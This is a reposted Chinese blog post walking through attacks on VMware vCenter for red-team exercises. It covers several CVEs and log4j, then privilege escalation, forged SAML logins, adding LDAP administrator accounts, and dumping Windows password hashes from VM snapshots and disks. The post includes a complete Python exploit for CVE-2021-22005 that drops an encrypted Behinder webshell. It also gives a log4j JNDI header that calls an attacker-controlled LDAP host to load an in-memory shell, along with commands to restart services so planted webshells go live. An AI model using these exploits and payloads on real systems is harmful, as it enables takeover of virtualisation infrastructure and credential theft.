Vcenter 漏洞复现总结

admin 2022年3月22日16:04:20评论1,773 views1字数 10965阅读36分33秒阅读模式

Vcenter 漏洞复现总结



摘要

在实际的攻防演练中vcenter作为一个运维集群管控系统,为集团企业搭建管控系统起着重要的作用,那么作为一个攻击队员想要在攻防演习中快速得分,拿下vcenter系统也是一个捷径,所以本着这个目的写下这篇文章。


本次主要从以下几个方面来学习如何渗透vcenter系统

CVE-2021-21972

CVE-2021-21985

CVE-2021-22005

log4j

服务器提权

登录vCenter 后台

获取vCenter 后台某 Windows 机器中的用户hash


01  环境安装
vCenter6.7U3j 链接:https://pan.baidu.com/s/1Zeu6_iqOd0kRjbIqDmXQCw 提取码: 1111
我选择的这个版本是6.7u3j,之所以为什么选择这个版本呢?是因为在cve-2021-21972和21985漏洞中在6.7u3g之后的版本也是存在漏洞的,但是web路径却是在web服务启动的时候就已经加载进入内存中的,所以就算写进webshell也是访问不到了,这就是我选择该版本原因


02  漏洞复现

cve-2021-21972

该漏洞为压缩包上传,直接写在插件目录下即可,存在漏洞的接口为状态码为405 大概率是存在漏洞的
/ui/vropspluginui/rest/services/uploadova
参考漏洞利用脚本
https://github.com/NS-Sp4ce/CVE-2021-21972
但是但是但是!!!!
漏洞影响版本中有一个小分支在linux下的6.7.3g版本之后可以上传webshell,但是该webshell是访问不到的,原因是web服务启动的时候 该插件下的war已经存储在内存中了,导致我们后续上传的jsp文件是无法访问到的
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp
Vcenter 漏洞复现总结

有解决办法么?答案是有的,在sp4ce's师傅的blog中,提到了这个方法,我们可以下载h5ngc.war 构造恶意的jsp 在制作为war  通过21972漏洞上传到服务器,等到对面服务器重启 ,就可以得到webshell!!
但是感觉有点鸡肋!你在实战项目中,需要等待vcener重启,可能项目结束了都还没重启
Vcenter 漏洞复现总结

如果有师傅有更好的方式希望能够一起交流!!


03  log4j 

该漏洞为log4j jndi漏洞,触发位置为xff头,java版本大于8u191,而且vcenter 采用的是tomcat8.x ,所以我们可以采用tomcatbypass
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.43.3User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentX-Forwarded-For:${jndi:ldap://192.168.43.113:1389/TomcatBypass/Stomcatmemlistenershell}Sec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1


Vcenter 漏洞复现总结


04  CVE-2021-21985

Sphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle 在其中的buyndle中的h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中VsanHttpProvider.py存在SSRF漏洞,可以执行任意 Spring Bean 的方法,调用systemProperties  bean来达到不出网RCE 命令回显,目前网上公开的都是这2种利用方式利用JNDI注入和直接命令回显
参考链接
http://noahblog.360.cn/vcenter-cve-2021-2021-21985/

    -1  JNDI

利用JNDI注入反弹shell
Vcenter 漏洞复现总结
成功利用JNDI注入,拿下服务器权限vsphere-ui权限

Vcenter 漏洞复现总结


但是当我尝试使用21985漏洞来JNDI注入内存马的时候,发现内存马连接不上,但是log4j的JNDI注入却可以连接成功
经过不断尝试,发现vcenter前端有类似nginx的转发,必须有/ui前缀的才能路由到那个tomcat webapp server下,解决办法为tomcat filter url设置的时候设置为/ui/xxx.ico
 filterMap.addURLPattern("/ui/xxx.ico");
内存马连接的时候,对应的url则应该设置为 即可。
https://192.168.200.147/ui/../xxx.ico

    -2  命令回显

网上有公开的21985漏洞,执行回显的poc,发现调用的是systemProperties  sping bean来达到不出网回显,参考链接如下:
https://github.com/r0ckysec/CVE-2021-21985
Vcenter 漏洞复现总结

    -3  webshell

在我所用的这个vcenter版本中,目前21985漏洞是已经可以执行命令了,那么我们如何来获取一个webshell呢?前面也提到了该vcenter版本中插件已经注入内存了,必须重启服务器webshell才能生效,那么我们就开始考虑如何重启vcenter服务呢?
看着网上好像没公开直接写webshell的具体脚本,这儿我采用的是writeBytesToFilename 来写入webshell,当我们写入webshell成功后,如何重启服务呢?可参考如下步骤(笔者实战测试中不会对业务造成影响)
我们可以通过命令回显的脚本来执行重启服务
首先我们先执行命令,找到对应的pid
ps auxww | grep vsphere-ui

Vcenter 漏洞复现总结

这儿pid为16940,那么然后我们在kill pid的同时 输入上图括号内的命令,即刻重启web服务
kill -9 16940 && /usr/java/jre-vmware/bin/vsphere-ui.launcher -Xmx597m -XX:CompressedClassSpaceSize=256m -Xss320k -XX:ParallelGCThreads=1 -Djava.io.tmpdir=/usr/lib/vmware-vsphere-ui/server/work/tmp -Dorg.eclipse.virgo.kernel.home=/usr/lib/vmware-vsphere-ui/server -DPS_BASEDIR=/storage/vsphere-ui/ -Declipse.ignoreApp=true -Dcatalina.base=/usr/lib/vmware-vsphere-ui/server -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/vmware/vsphere-ui/ -XX:ErrorFile=/var/log/vmware/vsphere-ui/java_error%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintReferenceGC -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=1024K -XX:-OmitStackTraceInFastThrow -Xloggc:/var/log/vmware/vsphere-ui/vsphere-ui-gc.log -Djava.security.properties=/etc/vmware/java/vmware-override-java.security -Djava.ext.dirs=/usr/java/jre-vmware/lib/ext:/usr/java/packages/lib/ext:/opt/vmware/jre_ext/ -Dorg.osgi.framework.system.packages.extra=sun.misc -Dsun.zip.disableMemoryMapping=true -Dui.component.name=vsphere-ui -Dvlsi.client.vecs.certstore=false -DisFling=false -Dorg.apache.tomcat.websocket.DISABLE_BUILTIN_EXTENSIONS=true -Dlogback.configurationFile=/usr/lib/vmware-vsphere-ui/server/conf/serviceability.xml -Dlogs.dir=/var/log/vmware/vsphere-ui/logs/ -Dhttps.port=5443 -Dhttp.port=5090 -Dshutdown.port=-1 -Dcom.sun.org.apache.xml.internal.security.ignoreLineBreaks=true-Dorg.apache.xml.security.ignoreLineBreaks=true -classpath /usr/lib/vmware-vsphere-ui/server/bootstrap/server-launcher.jar:/usr/lib/vmware-vsphere-ui/server/bin/bootstrap.jar:/usr/lib/vmware-vsphere-ui/server/bin/tomcat-juli.jar com.vmware.vise.launcher.tomcat.TomcatLauncher start
稍等片刻,就可以访问到webshell
Vcenter 漏洞复现总结

05  提权

CVE-2021-22015 本地提权CVE-2021-3156  本地提权https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.pyhttps://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.pyhttps://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/

Vcenter 漏洞复现总结


06  CVE-2021-22205

在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞  直接root权限

import requestsimport randomimport stringimport sysimport timeimport requestsimport urllib3import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  def id_generator(size=6, chars=string.ascii_lowercase + string.digits):    return ''.join(random.choice(chars) for _ in range(size))    def escape(_str):    _str = _str.replace("&", "&amp;")    _str = _str.replace("<", "&lt;")    _str = _str.replace(">", "&gt;")    _str = _str.replace(""", "&quot;")    return _str    def str_to_escaped_unicode(arg_str):    escaped_str = ''    for s in arg_str:        val = ord(s)        esc_uni = "\u{:04x}".format(val)        escaped_str += esc_uni    return escaped_str  def createAgent(target, agent_name, log_param):         url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)    headers = { "Cache-Control": "max-age=0",                "Upgrade-Insecure-Requests": "1",                "User-Agent": "Mozilla/5.0",                "X-Deployment-Secret": "abc",                "Content-Type": "application/json",                "Connection": "close" }                   json_data = { "manifestSpec":{},                   "objectType": "a2",                  "collectionTriggerDataNeeded":  True,                  "deploymentDataNeeded":True,                   "resultNeeded": True,                   "signalCollectionCompleted":True,                   "localManifestPath": "a7",                  "localPayloadPath": "a8",                  "localObfuscationMapPath": "a9" }                      requests.post(url, headers=headers, json=json_data, verify=False)     def generate_manifest(webshell_location, webshell):     manifestData = """<manifest recommendedPageSize="500">       <request>          <query name="vir:VCenter">             <constraint>                <targetType>ServiceInstance</targetType>             </constraint>             <propertySpec>                <propertyNames>content.about.instanceUuid</propertyNames>                <propertyNames>content.about.osType</propertyNames>                <propertyNames>content.about.build</propertyNames>                <propertyNames>content.about.version</propertyNames>             </propertySpec>          </query>       </request>       <cdfMapping>          <indepedentResultsMapping>             <resultSetMappings>                <entry>                   <key>vir:VCenter</key>                   <value>                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">                         <resourceItemToJsonLdMapping>                            <forType>ServiceInstance</forType>                         <mappingCode><![CDATA[                                #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##                            #set($orig_log = $appender.getFile())##                            #set($logger = $GLOBAL-logger.logger.parent)##                                 $appender.setFile("%s")##                                 $appender.activateOptions()##                              $logger.warn("%s")##                               $appender.setFile($orig_log)##                                 $appender.activateOptions()##]]>                         </mappingCode>                         </resourceItemToJsonLdMapping>                      </value>                   </value>                </entry>             </resultSetMappings>          </indepedentResultsMapping>       </cdfMapping>       <requestSchedules>          <schedule interval="1h">             <queries>                <query>vir:VCenter</query>             </queries>          </schedule>       </requestSchedules>    </manifest>""" % (webshell_location, webshell)        return manifestData def arg():    parser = argparse.ArgumentParser()    parser.add_argument("-t", "--target", help = "Target", required = True)    args = parser.parse_args()    target = args.target    print("[*] Target: %s" % target)    return target def exec():    target = arg()    # Variables    webshell_param = id_generator(6)    log_param = id_generator(6)    agent_name = id_generator(6)    shell_name = "Server.jsp"    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""     webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name    webshell = str_to_escaped_unicode(webshell)    manifestData = generate_manifest(webshell_location,webshell)    print("[*] Creating Agent")    createAgent(target, agent_name, log_param)    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)    headers = {"Cache-Control": "max-age=0",                      "Upgrade-Insecure-Requests": "1",                      "User-Agent": "Mozilla/5.0",                      "X-Deployment-Secret": "abc",                      "Content-Type": "application/json",                      "Connection": "close"}    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}    requests.post(url, headers=headers, json=json_data, verify=False)    #webshell连接地址    url = "%s/idm/..;/%s" % (target, shell_name)    code = requests.get(url=url, headers=headers,verify=False).status_code    if code != "404":        print("webshell地址: %s" % url)        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )     else:        print("未获取到webshell地址")  if __name__ == '__main__':    exec()

成功获取webshell

 https://192.168.43.2/idm/..;/Server.jsp


Vcenter 漏洞复现总结


07  替换cookie进后台-SAML证书登录

参考脚本, 注意:vCenter6.0.x版本及以下不适用该方法。我们通过root权限可以下载如下的mdb文件,拖回本地进行伪造cookie
https://github.com/horizon3ai/vcenter_saml_login
linux下路径:/storage/db/vmware-vmdir/data.mdbwindows路径:C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

Vcenter 漏洞复现总结

访问ui目录,替换cookie,在刷新 即可进入后台
Vcenter 漏洞复现总结

    -1  添加用户

利用脚本地址
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
将该py脚本上传到vcenter服务器上,vcenter默认是存在py中的依赖
这边可能会存在特殊符号对脚本进行干扰,例如报如下错误

Vcenter 漏洞复现总结

这是因为Ldap的密码存在特殊字符造成报错,我们可以直接用下面这条命令查询ldap密码,直接替换在py脚本里,用 转义即可(当我们运行脚本的时候会给ldap的密码,这儿图片没截到)

Vcenter 漏洞复现总结

python vCenterLDAP_Manage.py adduser
input the new username: 1234admininput the dn: cn=1234admin,cn=Users,dc=vsphere,dc=localinput the userPrincipalName: [email protected]

Vcenter 漏洞复现总结

将用户升级为管理员
python vCenterLDAP_Manage.py addadmininput the user dn: cn=1234admin,cn=Users,dc=vsphere,dc=local

Vcenter 漏洞复现总结

Vcenter 漏洞复现总结



08  创建快照抓hash

模拟场景如下:

成功登录vcenter后台了,发现后台的靶标系统却锁屏了,那么我们如何向其中渗透呢?环境安装完成,且锁定好屏幕
Vcenter 漏洞复现总结
通过创建快照(这个图是后门补上的,当时环境都删除掉了,正常操作下是可以生成快照的)

Vcenter 漏洞复现总结

在下载快照vmem文件,

Vcenter 漏洞复现总结

在使用volatility 内存取证工具,成功dump出已锁屏的win2008 hash
volatility_2.6_win64_standalone.exe -f .WIN8-Snapshot1.vmem imageinfo

Vcenter 漏洞复现总结

volatility_2.6_win64_standalone.exe -f .WIN8-Snapshot1.vmem --profile Win2008R2SP1x64_23418 hashdump
成功获取windows08 hash

Vcenter 漏洞复现总结



09  vmdk挂载抓hash

前提是我们需要一台在vcenter中可控的服务器,意思就是说靶标此时锁屏了,我们想要dump 靶标的hash,所以我们需要另一台windows主机去挂载靶标系统的vmdk,挂载成功后,进入我们挂载后的虚拟机,dump hash即可拿到靶标系统的主机hash,,如果没有可控的服务器,我们可以新建一台虚拟机 可达到同样的目的。
这个时候模拟的场景如下
win8为靶标,win7是我们可控的服务器
所以我们需要先克隆一个win8的虚拟机,命令为fake_win8,然后修改win7的虚拟机设置,挂载iso为fake_win8,然后进入win7系统 就可以抓到win8的hash或者明文密码

Vcenter 漏洞复现总结


选择克隆我们的靶标win8,我这儿磁盘内存不够了,就不克隆了

Vcenter 漏洞复现总结


注意克隆虚拟机的时候最好,修改一下ip,不然会和靶标IP造成冲突,

Vcenter 漏洞复现总结

当我们克隆完成后,将克隆后的vmdk挂载到可控的win7虚拟机中
win7->编辑设置

Vcenter 漏洞复现总结

右上角添加新设备->现有硬盘

Vcenter 漏洞复现总结

选择对应的fake_win8的vmdk

Vcenter 漏洞复现总结

然后登录win7系统,即可抓到win8系统的hash  使用mimikatz 就可以抓到hash值了。

- END -

原文始发于微信公众号(从零开始的回忆录):Vcenter 漏洞复现总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日16:04:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vcenter 漏洞复现总结http://cn-sec.com/archives/834425.html

发表评论

匿名网友 填写信息